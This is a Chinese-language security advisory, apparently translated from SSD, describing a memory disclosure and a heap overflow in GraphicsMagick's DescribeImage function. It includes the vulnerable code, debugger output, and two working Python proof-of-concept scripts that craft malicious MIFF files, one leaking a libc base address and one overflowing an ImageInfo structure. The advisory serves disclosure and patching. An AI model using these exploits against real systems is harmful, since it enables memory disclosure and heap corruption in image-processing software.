SSD安全公告–GraphicsMagick多个漏洞

漏洞概要
以下安全公告描述了在GraphicsMagick中发现的两个漏洞。
GraphicsMagick是“图像处理方面的瑞士军刀。 基础包中的源码共有267K行(根据David A. Wheeler统计),它提供了强大而有效的工具和库,支持读,写超过88种主要图像处理格式,包括DPX,GIF,JPEG,JPEG-2000,PNG,PDF,PNM和TIFF等重要格式。
在GraphicsMagick中发现的两个漏洞是:

  • 内存信息泄露
  • 堆溢出

漏洞提交者
一位独立的安全研究人员Jeremy Heng(@nn_amon)和Terry Chia(Ayrx)向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
厂商已经发布了这些漏洞的补丁(15237:e4e1c2a581d8 and 15238:7292230dd18)。获取更多信息: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt

漏洞详细信息
内存信息泄露
GraphicsMagick易受到magick/describe.c文件的DescribeImage函数中存在内存信息泄露漏洞影响。
负责打印包含的IPTC配置文件信息的图像中的这一部分代码存在漏洞。
该漏洞可以通过特制的MIFF文件触发。
存在漏洞的代码路径如下:

```c
 63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,
 64                                           const MagickBool verbose)
 65 {
...
660       for (i=0; i < profile_length; )
661         {
662           if (profile[i] != 0x1c)
663             {
664               i++;
665               continue;
666             }
667           i++;  /* skip file separator */
668           i++;  /* skip record number */
...
725           i++;
726           (void) fprintf(file,"    %.1024s:\n",tag);
727           length=profile[i++] << 8;
728           length|=profile[i++];
729           text=MagickAllocateMemory(char *,length+1);
730           if (text != (char *) NULL)
731             {
732               char
733                 **textlist;
734
735               register unsigned long
736                 j;
737
738               (void) strncpy(text,(char *) profile+i,length);
739               text[length]='\0';
740               textlist=StringToList(text);
741               if (textlist != (char **) NULL)
742                 {
743                   for (j=0; textlist[j] != (char *) NULL; j++)
744                     {
745                       (void) fprintf(file,"  %s\n",textlist[j]);
...
752           i+=length;
753         }
```

profile_length变量中的值在MIFF头中的profile-iptc = 8字段设置
当访问profile [i]时,因为不检查i的值,所以会出现越界访问。
如果断在describe.c第738行,在执行strncpy操作的时候我们可以获取到堆中的内容。

gef➤  x/2xg profile
0x8be210:    0x08000a001c414141    0x00007ffff690fba8

0x08000a001c414141是我们植入MIFF文件中的payload。

41 41 41 - padding
1C - sentinel check in line 662
00 - padding
0A - "Priority" tag
08 00 - 8 in big endian, the length

检查与payload相邻的值0x00007ffff690fba8,发现它其实是libc中main_arena结构中的一个地址。

gef➤  x/xw 0x00007ffff690fba8
0x7ffff690fba8 <main_arena+136>:    0x008cdc40
gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 ---
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r--
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw-
/lib/x86_64-linux-gnu/libc-2.23.so

现在我们可以计算到libc base的偏移量 – 0x3c4b98
漏洞证明
$ python miff/readexploit.py
[+] Starting local process ‘/usr/bin/gm’: pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process ‘/usr/bin/gm’ stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000

#!/usr/bin/python
# GraphicsMagick IPTC Profile libc Leak
from pwn import *
directory = "DIR"
partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\nprofil' +
              'e-iptc=',
              '\n\x0c\n:\x1a',
              '\n\x00',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "readexploit.miff"
length = 8
#libc_main_arena_entry_offset = 0x3c4ba8
libc_main_arena_entry_offset = 0x3c4b98
def main():
    data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big")
    header = partitions[0] + str(length) + partitions[1]
    payload = header + directory + partitions[2] + data + partitions[3]
    file(output, "w").write(payload)
    p = process(executable="gm", argv=["identify", "-verbose", output])
    output_leak = p.recvall()
    priority_offset = output_leak.index("Priority:") + 12
    montage_offset = output_leak.index("Montage:") - 3
    leak = output_leak[priority_offset:montage_offset]
    if "0x00000000" in leak:
        log.info("Unlucky run. Value corrupted by StringToList")
        exit()
    main_arena_leak = u64(leak.ljust(8, "\x00"))
    log.info("Main Arena Leak: 0x%x" % main_arena_leak)
    libc_base = main_arena_leak - libc_main_arena_entry_offset
    log.info("libc Base: 0x%x" % libc_base)
if __name__ == "__main__":
    main()

堆溢出
GraphicsMagick容易受到magick/describe.c文件的DescribeImage()函数中发现的堆溢出漏洞的影响。
下面代码中855行的strncpy的调用,没有限制要复制到目的缓冲区,而是通过在目录名称中搜索换行符或空字节来计算大小。

844       /*
845         Display visual image directory.
846       */
847       image_info=CloneImageInfo((ImageInfo *) NULL);
848       (void) CloneString(&image_info->size,"64x64");
849       (void) fprintf(file,"  Directory:\n");
850       for (p=image->directory; *p != '\0'; p++)
851         {
852           q=p;
853           while ((*q != '\n') && (*q != '\0'))
854             q++;
855           (void) strncpy(image_info->filename,p,q-p);
856           image_info->filename[q-p]='\0';
857           p=q;
...
880         }
881       DestroyImageInfo(image_info);

由于ImageInfo结构中的filename字段是固定的2053字节,因此可以通过伪造超长的目录名,造成堆溢出。

type = struct _ImageInfo {
...
    FILE *file;
    char magick[2053];
    char filename[2053];
    _CacheInfoPtr_ cache;
    void *definitions;
    Image *attributes;
    unsigned int ping;
    PreviewType preview_type;
    unsigned int affirm;
    _BlobInfoPtr_ blob;
    size_t length;
    char unique[2053];
    char zero[2053];
    unsigned long signature;
}

触发此漏洞的一种方法是在带有verbose标志的MIFF格式文件上运行identify命令。
漏洞证明
使用下面的脚本就可以生成MIFF文件exploit.miff。

#!/usr/bin/python
from pwn import *
partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
              ':\x1a',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"
def main():
    payload = "A"*10000
    payload = partitions[0] + payload + partitions[1]
    file(output, "w").write(payload)
if __name__ == "__main__":
    main()

使用GDB带参数identify -verbose运行GraphicsMagick gm,当strncpy调用过后,中断程序的运行,然后检查被破坏的ImageInfo对象,以证明堆溢出利用成功。

gef➤  r identify -verbose exploit.miff
...
gef➤  br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤  p *image_info
$3 = {
...
  compression = UndefinedCompression,
  file = 0x0,
  magick = '\000' <repeats 2052 times>,
  filename = 'A' <repeats 2053 times>,
  cache = 0x4141414141414141,
  definitions = 0x4141414141414141,
  attributes = 0x4141414141414141,
  ping = 0x41414141,
  preview_type = 1094795585,
  affirm = 0x41414141,
  blob = 0x4141414141414141,
  length = 0x4141414141414141,
  unique = 'A' <repeats 2053 times>,
  zero = 'A' <repeats 2053 times>,
  signature = 0x4141414141414141
}